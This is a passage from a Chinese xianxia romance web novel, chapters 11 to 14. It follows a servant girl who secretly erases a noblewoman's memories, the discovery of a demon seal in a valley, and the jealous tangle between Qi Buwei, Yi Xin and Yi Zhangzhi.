钱备:“我教过你们!做事情,要么不做,要么做绝!你既然绑了人,就要让她永远抓不住你的把柄!”
钱沁反应过来,辩解道:“爹,我们本来是想让她被妖怪吃掉的,谁知被易张稚救了……”
瞧着钱备愤怒不屑的目光,钱沁声音愈发小了起来。
钱备讽刺:“你要亲自杀了她,还会发生这种意外?事情的决定权不在你手里,你就永远有被动的可能!”
钱衡找补:“那我们现在杀了她……她就没办法把这事捅出去了……”
钱备蹲下身,一下一下拍着钱衡的脸,吓得他两股战战:“祁不为已经知道内幕,这时候那侍女死了,不是此地无银三百两?你和你妹妹没藏好自己的马脚,还想着送上门?”
钱衡慌了:“爹……我错了我错了……是我考虑不周……”
钱备起身,看着伏跪在地的一双儿女,严肃又语重心长道:“这仙门和仙首早晚是无相宗和你们的,你们要一直这么蠢,祖宗家业就败在你们手里了。”
末了,钱备又道:“学学祁不为。那小子面上装乖,背地里比你们还狠,他难道从没做过会被仙门批斗之事吗,我不信,只是没抓住他的把柄而已。”
钱衡忽然想到什么:“爹,你今日偶然听谁提起的?”
钱备看钱衡起了疑,冷笑一声,意味不明:“自然是听祁不为‘偶然’提起的。”
42. 第十一章
闻言,钱沁恍了下神,目光怨毒起来,喃喃道:“他……在替那个侍女出气么?”
钱备冷冷扫她一眼:“你和他,根本不可能。从前我不管你,以为你大小姐脾气,兴味来得快,去得也快,但事到如今,你趁早断了念想。”
钱沁:“爹……”
钱备:“闭嘴!我不想听你谈那些儿女长情!祁不为根本配不上你!这件事上你没斩草除根,落了马脚,我要你禁足十日!日后长长记性!”
钱衡还想替钱沁求个情:“爹……十日太久——”
钱备冷笑:“那你们交替罚?她禁足五日,你禁足五日?”
钱衡噎住,闭上嘴。
钱沁禁足,对外宣了病。
易辛得到这个消息后,趁机和无相宗值班的人换了一趟。
她端着盛药的托盘,站在门外禀告:“钱小姐,药来了。”
门里传来一声“进”。
推门而入后,只见钱沁歪在椅子里,百无聊赖地投壶,眼皮都没抬一下。
易辛反手关上门,把托盘放在桌上,将药碗递给钱沁。
虽然对外宣病,但钱备吩咐下令煎煮的都是补药,有助于修行。
钱沁接过药碗,眼也不眨地喝下去,等嘴里尝到了味道时,猛然瞪大眼睛。
这药忽然变得非常苦!
像是坏了一般!
易辛早有预料,一看钱沁停下喝药似乎想骂人,急忙一手按住钱沁后颈,一手使劲把汤药怼进她嘴里。
一碗药喝得乱七八糟,但多数进了钱沁肚子里。
被逼着喝药时,钱沁简直惊呆了,甚至忘了愤怒。
居然有人敢这样对她?!
挣扎抬眼间,竟是易辛!
这时,钱沁才陡然涌起怒火,恰逢药碗喝尽,她蹭地一下站起来,刚要开口斥骂,易辛却顶着一张平平淡淡的脸——攥紧托盘,朝她脑袋上猛砸了一下,直接把她脸给打偏了!
这一下简直如烈火烹油,钱沁刹那间面色可怖!
下一瞬,眩晕感占据大脑,她无法控制地晕了过去……
朦胧恍惚的视线里,易辛那张脸仍然平静如水,仿佛下狠手的不是她。
砰地一声,钱沁直直倒地。
直到这时,易辛眉眼才波动了一下,长长松了口气。
她蹲下身,松开托盘,甩了甩手掌,又活动几下手指。
舒展完手掌,易辛伸手覆在钱沁额头上,凝神闭目。
她起初想抽走钱沁和自己在清风山庄初遇的记忆,那是一个误会,却也是钱沁对她心生恶意的根源。
后面又发生绑架和方才送药之事,易辛便干脆抹掉她关于自己的所有记忆和名字。
她一个普通侍女,自然不会出现在钱沁和周围人的谈话里。所以抹掉记忆,易辛认为也不会引起怀疑,即便有对不上的细微之处,依照钱沁的秉性,对于那些她根本不在意的人,记不住也是常理,周围人不会多想。
至于绑架,她只是钱沁随意挑中的一个倒霉鬼,钱沁不会把祁不为这道深层原因说出口,因为她大概觉得丢脸。
事毕,易辛把钱沁扶到塌上,再若无其事地端起药碗离开。
一切顺利的话,钱沁再也不会记得她了,也不会找她麻烦,更不会像前世一样杀了她。
心中一颗石头落地,易辛轻轻吁了口气。
这厢易辛行了改变轨迹之举,那厢祁不为也开始了行动。
屋内,祁不为收了势,手上光芒渐熄,他睁开眼,眉头拧起。
他用意识在望天谷探寻,最后找到了那处封印之地。
当初封印松动,他和祁有为才掉入山谷裂缝,但方才一探,封印分明固若金汤。
难道是所谓的“天时人和地利”,恰巧打破了封印?
那时事发突然,现今去追溯,根本寻不到蛛丝马迹。
但当务之急,是让仙门发现这块封印之地。
前世事发后,不光甘华门,仙门百家都不知道这里有处封印,更不知道何人设下。
而当时为了掩盖自己入魔之事,祁有为也没对外说太多,当即带他回了清风山庄闭关。
祁不为摁下种种疑虑与模糊,找到了余桓。
余桓:“祁公子?我正要去巡山,若有事,不如等我回来再说?”
祁不为等的就是余桓巡山,随意道:“一同去吧,左右我无事可干。”
余桓有些惊讶,但没有多说什么,便携了他一道出发。
望天谷很大,甘华门弟子巡山分大环小环。
日常只巡视小环,一月巡一次大环。
岔路口时,祁不为指着一条向上的岔道:“不去那边看看吗?”
余桓道:“上月已经看过,现今还没到日子,今天巡小环即可。”
祁不为径直走入岔道,还是那句话:“左右无事,一起看了吧,我似乎还没来过这里。”
余桓愣了一下,心说祁不为今日怎的如此闲,但还是好脾气地跟了上去。
路上无人,树林接杂草,光影流金,斑驳静谧,倒滋生出几分闲情逸趣。
祁不为没怎么说话,余桓发散了思维,忽然想起什么,斟酌片刻后还是问出口:“祁公子……你身体如何?”
祁不为一时没反应过来,下意识偏头,对上余桓的目光,才想起来那件事。
仙门弟子众多,祁不为向来记不住几个人,除了那些他当年跪求过的掌门宗主。
但他记住了余桓,是因为他们曾协力除过一只蜘蛛精,九死一生。
当时祁不为下山游历,听说了一只吃人的蜘蛛精,等他赶到妖怪巢穴时,前一批到此的仙门子弟已经溃不成军,纷纷被蜘蛛精吓跑了,彼时巢穴里还有平民呼救。
他逆流而上,和蜘蛛精斗了数十个来回后,便明白蜘蛛精妖力强盛,他根本不是对手。
蜘蛛精只想提升修行,并不想和仙门作对,所以它放过了那些仙门弟子,只要不干涉它食人,祁不为也能平安无事。
祁不为没有走,不是本着除魔卫道、舍己救人的英雄气概,只是单纯地不想随方才那些人的大流,怪恶心的。
但那群人里还留了一个,便是余桓。余桓痛斥他们,怎能不顾百姓安危,弃之奔逃。
彼时根本没人理他,大家都顾着逃命。
余桓就像一个死脑筋,斗得浑身是伤,但凭一腔信念和孤勇,死守不退。
只是祁不为和他联手也打不过蜘蛛精。
在余桓即将死于蜘蛛精手下时,祁不为拦住了对方进攻的架势。
濒死之际,祁不为陡然发现他竟可以吸取蜘蛛精的妖力!
祁不为来不及多想,蜘蛛精不死,自己就要死。所以他疯狂地吸尽蜘蛛精之力,最后还是余桓中断了二人。
余桓低呼:“别吸了,到时不好排出体外!”
好在蜘蛛精被吸了不少妖力,祁不为重获力量,和余桓将它诛杀。
酣战力竭后,祁不为坐在石头上休息,后知后觉地意识到发生了什么。
他兴奋、恐惧、矛盾。
他想要力量,想要无论身处何种险境,也能保住阿姐的力量,不再重蹈爹娘的覆辙。
但他又可以预见,若是被仙门发现他吸了妖力,会遭受怎样的口诛笔伐。
他知道,仙门都是道貌岸然的家伙。
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>要保住这个秘密,那就要……祁不为抬头看向气喘吁吁的余桓——杀了他!
望山谷里,余桓见祁不为迟迟不说话,忽然抓住了他手臂,神色肃穆:“这么久了,你体内的妖气还没有排出来?!”
祁不为回过神来,看着他,不言语。
余桓眉头拧紧,似在思量,然后说道:“甘华门有净化妖力的丹药,我可以偷几颗,帮你清除体内妖气。”
“放心,我会隐蔽行事,不让你被发现的。仙门之中对吸食妖力一事十分忌讳,你自己也要小心,别漏了马脚。”
祁不为深深地凝视余桓,他的身影与那日重合。
那时余桓便让他尽快排出妖力,保密行事,而他也绝不泄漏半分。
事实是,如今仙门谁也不知道他曾做过这件事,否则以钱备的心性,祁不为早没有安生日子了。
那也是祁不为第一次发现自己可以吸食妖力。
人不能修妖魔之道。
人与妖体质不同,人若修习妖术,长久以往,妖邪之气侵扰神识,嗜杀成性,最后爆体而亡。
可他似乎体质特殊,妖力入体,并未水土不服,只是终归影响神智。
“仙门对此讳莫如深,你为何瞒而不报?”祁不为问道。
余桓:“仙门有道,斩妖除魔,护卫安宁。你虽坏了仙门规矩,但也是为了救下百姓,诛杀妖魔,那时事急从权,怪不得你。我们应该懂得变通,不是么?”
说罢,余桓笑了笑,似在宽慰祁不为。
祁不为继续朝前走,随口道:“妖气早已排出体内,不用你操心。”
余桓宽下心,跟了上去,祁不为又随意问道:“易辛在你们甘华门都做些什么差?”
余桓说了些采买打杂之事,忽然问道:“你不会也想让易辛专职照料你吧?”
祁不为:“也?”
余桓盯着祁不为,似八卦又有担忧:“上回钱衡他们抓走易辛,你那么生气,你……和易辛?”
祁不为面无表情:“我和她,什么都没有。钱衡欺我山庄之人,我咽不下这口气。”
闻言,余桓松了口气,拉长语调:“噢——那就好。我差点以为你是一厢情愿呢。”
祁不为:“……说清楚些,还有刚才的‘也’是什么意思。”
余桓笑了笑:“当日我带易张稚回甘华门疗伤,他醒来之后,我问了他一番情况,也感谢他救下易辛。他知道易辛是甘华门侍女后,便问如果要派人照料他,能不能让易辛来。”
祁不为默然不语。
余桓语调活泼几分,仿佛窥出了门道,又神秘兮兮地对祁不为道:“你知道巧的是什么吗?我又去找了易辛,本是有事要说,她却问我能不能把她分到易张稚住所去,她想照顾他,以作报答。”
祁不为脸色沉了下去,那种微妙难言的怪异又从心底攀升。
前世,易张稚为救祁有为受伤,祁有为感恩照料,一来二去,两人生情。
如今祁有为换成了易辛。
命运似乎朝着荒谬、滑稽、可笑的方向偏转。
祁不为说不清自己什么感觉。
乱七八糟,阴差阳错。
好像有谁高高站在云端上,拨弄着命运之手,把所有人的命运打乱,再可笑地把八杆子打不着的泥人捏在一起。
冥冥之中的玩弄。
他应该赞叹一句妙不可言么?
祁有为终于和易张稚断了情缘……
但他毫无来由地、怒火中烧地——想指着天破口大骂!
这时,前方忽然传来余桓震惊之声。
“你快过来看!这里居然有道封印!底下封的是何物!”
43. 第十二章
不出两个时辰,仙门上下皆知望天谷有处封印,各派掌门齐聚于此。
封印之处地形奇特,状如眼睛,又似横亘在山谷中的天堑,裂隙上浮动着金芒,和煦又强盛的力量扑面而来。
古籍对此未有记载,但观封印之气息,众人推断应是天界某位神君设下。
既然天界曾经出手,说明这里封印之物非同小可。
李纳川立即命人镇守此地,实时监测封印。
一时人心沸腾,好奇、恐惧、震惊者皆有。
但这一切都与祁不为无关。
他躺在摇椅里,摇椅慢悠悠晃着,比之仙门众人,好不惬意。
按理来说,第一,封印固若金汤;第二,仙门已知此事,再有问题也是全仙门上下一起应对;第三,只要他离裂隙远远的,怎么也不该像前世一样倒霉地掉进天堑里。
如此一来,他该感到高兴宽慰,好歹也算是迈出了避免覆辙的第一步。
可他却神色恹恹,一想到易辛和易张稚可能有戏,他便觉得膈应,气得发笑。
传言,人的一生早刻在命簿上,那刻命薄的神仙指不定喝多了,好像这世上只剩易辛和易张稚一对男女,所以必须安排他们在一起,就算他们是同父同母的亲兄妹,也要给个夫妻身份。
——离谱!荒诞!
摇着摇着,祁不为猛地站了起来,大步流星地离开院子,留下摇椅吱呀而剧烈地摇晃着。
走到钱沁屋门前时,祁不为停住脚步,敲了敲门:“是我,祁不为。我有事想问你。”
话音刚落,门倏忽从里拉开,露出惊讶又欣喜的钱沁。
钱沁:“你来了?!进来吧!”
祁不为没动:“不必了,我问完就走。”
钱沁有些失落,但还是挤出笑脸:“你问吧。”
“上回在芙蓉镇城墙口时,你提到易辛,还说我以前喜欢她?这是怎么一回事?”
当时祁不为正怒上心头,没仔细辨别钱沁的话,事后回想起来,只当她胡言乱语,毕竟他何时说过喜欢易辛。
但是方才,他忽然特别想来问问钱沁。
仿佛要把那些离谱的情情爱爱给拨乱反正!
闻言,钱沁却一脸迷茫:“易辛?是谁?我说过这种话?”
问完后,钱沁又急道:“你刚说什么?你喜欢她?!”
祁不为:“……”
他眉头拧动,瞬息之间闪过好几个想法。
钱沁在装傻,想撇清他和易辛的关系,这戏文功底很深……
或是钱沁是真的忘了,她和易辛素来没有交集,这种眼高于顶嚣张跋扈的人不记得易辛也算合理。
她敢害易辛,但不必记得她的名字。
至于那句话,是因为看他当时过于焦急,所以猜测他和易辛之间有事?然后诈他?
钱沁见祁不为出神,语气有些冲:“祁不为,易辛是谁?你喜欢她?!”
祁不为又深深看了钱沁须臾,她这番模样不像是演的,她没装傻。
“……”祁不为说道,“我不喜欢她,是你说我和她有事。我找上门来是让你不要造谣毁我名声。”
说罢,祁不为转身离开,对钱沁的呼喊无动于衷。
他眉宇缓缓压下来,心中古怪。
虽然钱沁不像装傻,可第二种猜测又有些勉强。
直觉告诉他,这事蹊跷——也许,存在第三种他没发现的猜测。
偏僻院落。
易辛目不转睛地望着易张稚。
易张稚正搭弓挽箭,姿势端正,弓弦拉得十分饱满,箭头瞄准靶心:“手要平直,箭要握稳,两脚分开,保证射箭时身体不会摇晃。”
易张稚一面讲解要点,一面保持拉弓的姿势。易辛绷着脸,认真严肃地听着。
杀流双失败后,易辛就想她的动作在修仙者和妖怪眼里应该很慢,像当初在山洞里那样,把箭当作刀剑近身来用,对她十分不利。
于是她决定学习射箭。远距离操作,她可以躲起来。
倘若再只身遇上妖怪,就算要死,她也希望自己能伤对方一箭,不想束手就擒。
她和所有人交情太浅,危及时刻,没人会保护她。
她必须依赖自己。
易辛学得十分认真,易张稚作示范时,恨不得长十双眼睛,记住他每一个动作。
这时,余桓走了进来。
看见二人在练箭,余桓惊讶了一瞬,又说起正事:“望天谷大环线上发现了一处封印,诸位掌门猜测底下封印着很强大的妖怪——”
话音方落,嗖地一声,箭破空而去,利落干净地钉在靶子上,箭尾铮鸣晃动。
余桓和易辛不约而同地去看箭靶,箭歪了几许,偏离靶心。
易张稚转过头来,眉头拧起:“封印?”
余桓收回视线,继续道:“是啊,仙门猜测那处封印是天界上神留在凡间的,以防万一,掌门已经在封印处派人日夜把守。总之你们要去望天谷的话,多加小心。”
说罢,余桓又看向易辛:“尤其是你们这些不修行的普通人,还是不要靠近那边了。”
“我知道了,谢谢师兄,”说罢,易辛又斟酌着多问了一句,“师兄,你们是怎么发现那处封印的?”
“啊——我和祁不为公子一起巡山时发现的。”
祁不为?
易辛一凛,心率有些快,手脚泛起麻意。
来了……前世的变故就是这道封印吗?如果说底下封着妖怪,当初祁不为从甘华门回来后,便一身妖力,是因为吸纳了它的妖力?
易辛深吸一口气,攥紧手指,抵御麻冷之感,目光落到墙边排排盆栽的一株桃木身上。
桃木粗短而光秃秃的。
风疏叮嘱过,可以让它多吸收日月精华。之前刚来甘华门和他人一起居住时,人来人往的,易辛谨慎,一直锁着它。迁来这处院落后,无人到访,她又整日呆在院子里,便把桃木当作盆栽来养,让它得以吸取日月光华。
易辛让自己镇定下来,恰好易张稚递过弓:“勤加练习。”
说罢,他又看向余桓:“可劳烦带路?我想看看那处封印。”
余桓颔首,易张稚在深山老林里拜师,说不定见过些稀奇之事,能看出几分门道。
把二人送出门口,易辛便继续练习。
但心里装着事,射了几箭,无一中靶。她干脆放下弓,出神地发了会呆,最后还是决定去找祁不为。
能旁敲侧击得到消息,最好不过。
来到祁不为住处后,易辛遭到了他的阴阳怪气。
“哟,来看前东家了?”
易辛仔细分辨,觉得他心情不是很好,当即决定撤退。她把端来的盆栽放在地上,语气温和:“庄主喜欢含笑,我见它长得很好,便送过来了。”
“花送到了,我就不打扰公子了。”
祁不为瞥了她一眼:“花哪来的?从易张稚院子里拿东西,他不生气?”
易辛顿了一下,他知道自己去易张稚那了。
原来前东家对应的现东家不是甘华门,是指易张稚。
易辛斟酌说辞:“花……不是在他院子里拿的,是我自己养的。”
虽然在撒谎,但她认为,祁不为没那个闲情追究这盆花到底哪儿来的。
“他救了你,你就想报答他。那清风山庄收留你这么多年,你怎么不来报答我?把前东家丢在这多少天了?”
易辛抬头,看了眼祁不为,他躺在摇椅里,姿态
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懒散,但嘴上不饶人,像个瘫痪得只剩嘴巴恶毒的老头子。
易辛抿了下唇角,祁不为这种行为,就像几岁的小孩子。他讨厌一个人,也不准其他人和对方玩。
“公子和山庄对我有恩,我自然想报答公子的,”易辛适时停顿,话锋一转,语尽谦卑,顺着他的意思道,“只能怪我实在愚笨,在清风山庄就时常惹得公子不高兴。我怕再惹恼公子,还是不在跟前转悠——”
她话还没说完,就听祁不为语调诡异一扬:“你在怪我,怪我对你不好?怪我对你刻薄?”
“……”这番诘问属实没有道理。她言辞斟酌,应该挑不出错才对。
祁不为从躺椅里坐直了身,目光直白地落在她身上,等易辛说出一个解释。
偏偏因为他这个举动,易辛下意识后退半步。
蓦地,脚步微顿。易辛眉头动了一下,后知后觉回想起其实在他面前,最不应该表现出“退避”的意味,但为时已晚。
果然,祁不为捕捉到她的姿态,直接从椅子里站起来。
他朝她走来的几步里,仿佛一堵墙向她推近。
易辛垂下眼,想起白三清说这人时好时坏的,看着渐渐靠近的衣摆和足靴,月麟香的浅淡气息扑面而来。衣袖里的手指绞了绞,她想——方才的祁不为,确乎有些刻薄。
易辛乖顺地摇摇头:“不是,我没有那个意思。”
祁不为目光沉沉,定在易辛低垂的面容上,耳边回荡着钱沁的话,紧接着那可笑的命运偏轨又浮现在脑海里。
祁不为低沉道:“我问你,你要认真回答。”
易辛抬眼,祁不为面色严肃,她心里也不由得跟着紧了紧。
祁不为:“你——对易张稚上心了?”
易辛诧异得眼睛都睁大了:“……?”
她不理解祁不为是哪一步想偏了,怎会觉得她喜欢易张稚?
但一瞬间她也跟着偏了想法。祁不为一直记恨她,设身处地想一想,如果谋害自己性命的人还苦苦喜欢自己,想必很恶心很膈应。
倘若她谎称自己喜欢上了易张稚,祁不为对她的恨意会不会少一些,想杀她的念头能否减弱?那么她会更安全点吧?
犹豫思忖后,易辛还是选择了诚实:“没有。”
她怕弄巧成拙,她只是换了个东家,祁不为便不高兴。如果营造出全世界都喜欢易张稚的情形,指不定祁不为会更痛恨她。
祁不为没有错过她的犹豫,于是一阴差阳错,他便认定易辛已经见异思迁,只是不敢承认。
易辛敏锐地发现祁不为更不高兴了,脸色都黑了几分,她彻底迷茫了……难道应该说自己喜欢上了易张稚吗?
易辛顶不住他冷嘲热讽似的目光,捡起先前想要撤退的念头,低头欠身:“公子如果没有别的事,我先告退了……”
祁不为声音微凉:“……这么着急去见易张稚?”
易辛愣怔……没有呀。
他蓦地转身走进屋子里,落下一句冷冰冰的“跟上”。
易辛小小地挠了一下额头,眉头微蹙,不知道他要做什么,但只能抬步跟上。
进了屋子后,祁不为直接挥手,门砰一声关上,吓得易辛抖了抖。
“注意点外边的动静。”
“噢……”易辛靠在门边,同他保持了些距离。
祁不为手心向上一翻,变出乾坤袋。
随着痛苦嘶叫,伏麟化了人形,在地上滚作一团,所过之处,血迹与粘液斑驳。
祁不为和易辛俱是一惊。
祁不为:“你的伤怎么还没好?”
化为人形后,那伤势比之细瘦蛇身更加恐怖,伏麟身上几乎没有完好的地方,肌肤溃烂,空气里浮动着腐肉之味。
44. 第十三章
伏麟不答,只痛苦抽搐,虽然易辛和祁不为没受伤,但瞧他那番要死不活的样子,也能想象他每日受着何种折磨。
易辛面有不忍:“……他要不要洗一下?”
祁不为:“伤成这样,光洗浴没用。”
祁不为蹲下身,掌心凝聚灵力,凌空覆在伏麟手臂上。
伏麟伤口处泛着脓液,灵力洗涤后,并无变化。
祁不为收了势,啧啧称奇:“下回要是还能去地府,真该装些奈何桥下的水来。”
听了风凉话,伏麟痛苦挣扎间,用发红的眼睛盯着祁不为,近乎祈求道:“帮……帮帮我……”
祁不为:“你知道怎么化解?”
伏麟:“……甘华门……这么多药……总有肉死人药白骨的……”
祁不为意味不明地望着伏麟一身溃烂伤痕。甘华门是有许多灵丹妙药,但能不能对付地府的东西还另说。
草草应下,祁不为把伏麟收进乾坤袋,随意扫一眼易辛,见她心有余悸地抚了抚胳膊,不禁觉得好笑。
想起什么,祁不为提醒道:“最近一段时日就在甘华门待着,别去望天谷。”
易辛顿住,试探道:“……听说你和余桓师兄发现了一个封印?是因为它吗?”
“嗯。”
“封印里是妖怪?”易辛斟酌道,“……日后会出事吗?”
祁不为真假参半,故意吓她:“妖怪可能会冲破封印,把我们都吃了。”
“……它那么厉害?仙门加在一起也对付不了它?”
祁不为扔了扔手中乾坤袋,语调懒散,但说了实话:“看封印之力,仙门猜测是天上神仙设的。天上那群人下界除妖,已经是十分久远的事情了。传闻数千年前,有几头妖怪强大无比,祸乱人间。天界派了神仙下凡除妖,百姓相帮。后来天界便教一些有根骨天赋的凡人修炼法术,不仅让他们有自保之力,还可斩妖除魔,保卫世间。这是仙门的起源。”
说罢,祁不为问易辛:“当初除妖之事,事关天界,所以古籍上也没有只言片语,只是口口相传,久而久之,可信度也大打折扣。但这么多年过去了,可添了天界除妖的新鲜故事?”
易辛:“没有……公子的意思是,因为现在的妖怪和当初的妖怪相差太远,不至于让天界出手。所以那道封印底下的妖怪,很强,强到整个仙门都不是对手?”
祁不为应了一声。前世没见天界出手,是因为望天谷的妖怪被他吸了妖力,已经死在封印里了,彼时天界或许根本没得到消息。
这次最坏的情况,便是妖怪脱出封印,那么只要拖延得够久,足以让天界回过味来了吧。
“那你……会有危险吗?”易辛低声问道。
祁不为收回思绪,看了易辛一眼。她抿着唇,绷住下巴,眼神定定望着自己。
“……你担心?”
易辛小幅度地点点头,语气诚恳:“嗯,很担心。”
祁不为眉头微微舒展:“……担心什么,那道封印很牢固,而且仙门日夜把守……”
祁不为还想说些“我很厉害,才不会被妖怪伤到”诸如此类臭屁却安慰的话,却见易辛忽然转头,拉开一扇门。
外头噼啪作响,雨水迅速洇湿地面,空气里传来青草泥土的气味。
“下雨了……”易辛喃喃道。
祁不为想说“你可以等雨停了再走,我又不赶你”……但易辛立马转过身,对着他笑得眉眼弯弯:“公子没有危险就好,我回去啦。”
祁不为疑惑:“外面下雨了,你走什么?”
“没关系,我跑过去就好。”
祁不为看了眼淅沥雨水,又看看易辛:“易张稚住在甘华门角落里,你以为跑两步就能到?”
易辛没说话,有些为难,但目光却时不时瞟一下门外,看起来非走不可。
祁不为觉出不对来,声音有些僵硬:“……你回去干什么?因为易张稚?”
易辛小声道:“他出去了……没带伞……要送伞……”
祁不为想骂人:“……他是小孩?下了雨会去踩水?没带伞不会去躲雨?!”
“他……为人很宽厚的……虽说我去照料他,但膳食起居都是他自己干的……我只负责给花草树木浇浇水……”
祁不为盯住易辛:“所以?”
“他唯一拜托我的事,就是如果下雨了,他又外出了,能不能给他送伞……”易辛吸了口气,想动之以情晓之以理,“他救过我,却只想让我帮忙送把伞,肯定要送……吧。”
祁不为脸色发黑,就这么喜欢他?让他淋点雨都不行!
祁不为气得不行,转身绕过屏风。
易辛以为他不愿搭理自己了,便趁机跑了。
她走到廊檐下,刚举手挡住脑袋,打算冲进雨里,胳膊忽然被拉下。
她转过身,祁不为脸色难看,但递了两把伞过来。
易辛愣住,呆呆地看着他。
祁不为恶声恶气:“拿着!不是要送伞?等雨下大了,有伞也没用!”
“哦,好……”易辛开心地接过伞,对祁不为感激一笑,“谢谢公子。我走啦。”
易辛撑开伞,跑入雨中。
祁不为望着烟雨中的背影,片刻后忽然狠狠打了下自己手背:“送个屁的伞,就应该把她关起来,让易张稚淋到死!”
这时,易辛蓦地回了头,和门口的祁不为对上视线。
祁不为没有动作,只见易信笑着朝他挥挥手,又继续往前走了。
祁不为冷冷嗤了一声,环抱双臂,倒退着倚在门框上。看得很远的视线里,雨水滴在油纸伞面上,溅起细小碎花,又落在易辛伸出去的手心里。
她收回手,拎起裙摆,轻盈地小跑了起来,渐渐隐没在雨幕里。
祁不为这才转身进屋。
还没出甘华门,半路上易辛便远远地遇见了易张稚。
他没有看见她,而是微微侧头和伞下的另一名女子说话。
易辛怔在原地,震惊又意外,还有许多疑惑。
与易张稚同行的,是祁有为。
伞下,两人隔了些距离,易张稚清冷出尘,祁有为落落大方,仿佛与天地烟雨融为一体,清雅淡然。
易辛眨眨眼,转身先行一步回去了。
回到院子没多久后,他们二人也到了。
看见易辛,祁有为十分惊讶:“易辛?你怎么在这?”
易辛又拿出先前下山离开的说辞。祁有为点点头,看起来很欣喜,继续问道:“小七知道你在此地吗?”
“嗯,知道的。”<
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p>祁有为了然:“那就好,先前你走了,他还闹过脾气呢。”
最后一句时,祁有为笑意更大。
易辛不解:“……是因为我没有向庄主辞行,他觉得我行为不妥么?我——”
祁有为拍了拍易辛肩膀,安抚道:“去留是你的自由,我不会生气的。至于他当时发什么疯,谁知道呢,要不然你可以去问问他。”
易辛讪讪点头,坚决不问。
祁有为转向易张稚:“把你送回来了,我也要去找我弟弟了。”
祁有为御剑飞去甘华门时,低头见望天谷有不少仙门守卫,便下去查看一番,才知这里发现了一处封印,又碰上了来此地观看的易张稚。
听得余桓介绍,她才确定,这人就是无门无派的易张稚。
三人围着封印之地勘查片刻,忽然下起了雨,祁有为想起两人初见时的情形,易张稚淋着雨却不知防护一二。
她偏头去看易张稚,那人面色微变,眉头轻轻拧起,似乎不高兴下雨。
于是她便把人送了回来。
祁有为刚要转身离开,易张稚却喊住了她:“祁庄主,我淋了雨,要重新换药。”
“伤在背上,不方便,能否劳烦你帮我换药?”
祁有为愣住,下意识看向易辛,倒不是觉得易辛是侍女,换药是她分内之事,而是觉得自己和易张稚只见过两面,不至于把已照料他多日的易辛放在一旁,反而喊了她这个陌生人。
易辛同样讶异,目光落在易张稚身上。换药这事也是他亲力亲为,未假她之手。再者,上回医士来看他伤口时,明明说背上伤口好得差不多了,已经不需要用药。
三人心思各异,室内陷入诡异的寂静。
易张稚泰然自若地撩开背后长发,两人顺着他动作望去,登时睁大了眼,背上渗出了血迹,肩胛上洇湿一片。
“怎么伤得这么严重?”祁有为脱口而出,也顾不上两人陌生熟悉,径直走上前,“你快坐下吧,我帮你上药。”
易辛回过神,也被他一背上血吓到了,连忙翻出之前的药,端着托盘走到祁有为身旁。
此时祁有为已经退下他背上的衣服,伤口还在渗血,她擦拭创面时,隐约可见随着动作翻开的皮肉,神色不禁凝重起来。
易辛看到了那处伤口,眸子微微瞪大,从祁有为担忧而严肃的脸看到面色平静的易张稚,目光顿时复杂起来。
他不会是故意崩开伤口,就为了让祁有为给他上药吧……?
祁有为声音严肃:“你是不是上次救我时就受了伤,加上这次,所以加重了,导致伤口迟迟没长好?”
“没有,救你时没受伤。你无需自责。”易张稚平淡道。
易辛惊讶:“上次?”
祁有为一边上药,一边说:“清风山庄时,我失踪了几日,就是易公子救了我。”
“你们早就见过了……!”易辛愕然。
祁有为点头,笑了:“那时我不认识他,也就略去了这一节,连小七也没说。”
易辛愣愣应声,目光在二人之间转了转。
他或许真是故意崩开了伤口,引得祁有为注意——他对她,早有心意?
易辛顿时有种如梦如幻之感,仿佛回溯到过去,亲眼见证了他们二人之间的缘起。
45. 第十四章
雨帘从廊檐垂下,祁不为随意坐在门槛上,一截一截地掐着狗尾巴草,望着庭院出神。
他在盘算从甘华门拿什么药给伏麟,低垂的视线里,蓦然飘起一角裙摆。
易辛?又跑回来干什么?知道前东家比现东家好了?
祁不为嘴角翘起,抬眼看去,倏然顿住了:“……祁有为?!”
“你回来了?”祁不为立即站起身。
祁有为走到屋檐下,收伞放在门边,拂去衣袖上的水渍:“是啊,一连去了好几日,你在甘华门呆得还安生吧?”
最后一句话很像担心熊孩子闯祸。
祁不为不满:“当我是小孩儿?不安生的只有无相宗。”
他把钱衡钱沁等人抓走易辛之事道来,末了冷哼道:“仙门如今还叫仙门吗?真是越活越回去了?你还和其他门派打交道联络,不觉得恶心?”
祁有为拍拍他肩膀,笑道:“还说自己不是小孩,仙门就是经常虚以委蛇呗。不管仙门如何,它存在总有几分效用,能震慑妖怪。和各门派保持关系,平素下山除妖时,还能得附近门派支援一二,我们走后,那些镇子村子也能得到照拂。”
祁不为敷衍:“是是是……爹娘教导过,仙门不在,妖邪更会肆意横行,最后受苦的还是百姓。”
祁有为失笑:“在我面前抱怨便算了,到了外头要记得谨言慎行。我知你不喜仙门,你不理会他们就得了。”
祁不为无语,又无奈点头。祁有为虽然维持着山庄和仙门的外联,但一直没强迫他去做这件事。
他和仙门唯一共事的,约莫是除妖。
“对了,今年仙首大会,李纳川是不是要卸任了?”祁不为问道。
“会吧,随他们去争吧,反正和清风山庄无关。”
说得好听是卸任,难听些便是“逼宫”。祁不为冷冷一笑,甘华门李纳川是妥妥的大冤种,当初仙首之职落在他父亲祁连山身上,他爹娘一死,加上蛟妖搅乱仙门与妖众,那几年祸乱连连,仙首等同于血包。
哪个门派出点事,仙首和甘华门都要帮一帮,哪里有妖怪,他们也首当其冲。
数年来,甘华门耗得厉害,术法修行在本就落后的情况下更是江河日下。
整个仙门,牺牲了甘华门,换来这些年各门派的和平以及壮大。
在此期间,祁有为接任了清风山庄,一改往日风光,让它默默无闻得好似没落了,反而换得了山庄众人的安稳。如今无论谁接任仙首,都不至于为难山庄,为了这一切,祁有为经历了多少艰辛,即便与她日夜相处,他也必须承认,他不可能知道全部。
祁有为伸手在他跟前晃了晃:“怎么发起呆了?”
他握住她的手腕,平缓放下:“没事,你刚回来,好好休息。吃晚饭时我喊你。”
祁有为点头,临走时又听得他的叮嘱:“最近不要随便去望天谷。那里发现了一道封印。”
“噢!我来的路上已经看过了,”祁有为点头,“会小心行事的。”
一听她已经到过封印之地,祁不为陡然一阵胆寒,神情十分肃厉:“我是认真的。望天谷最好去都不要去。”
她看祁不为一眼:“你担心出事?”
“嗯……”
“好,我会牢记在心的。”
得到祁有为的郑重回答,他才安心几分。
翌日,祁不为问甘华门取了药,然后姐弟俩一起关上门,放出伏麟。
伏麟吃下药,药效缓慢。
祁有为思忖片刻,认为比起治外伤,或许让伏麟恢复妖力更好,可以让他自愈,以妖力抵抗忘川河水的侵蚀。
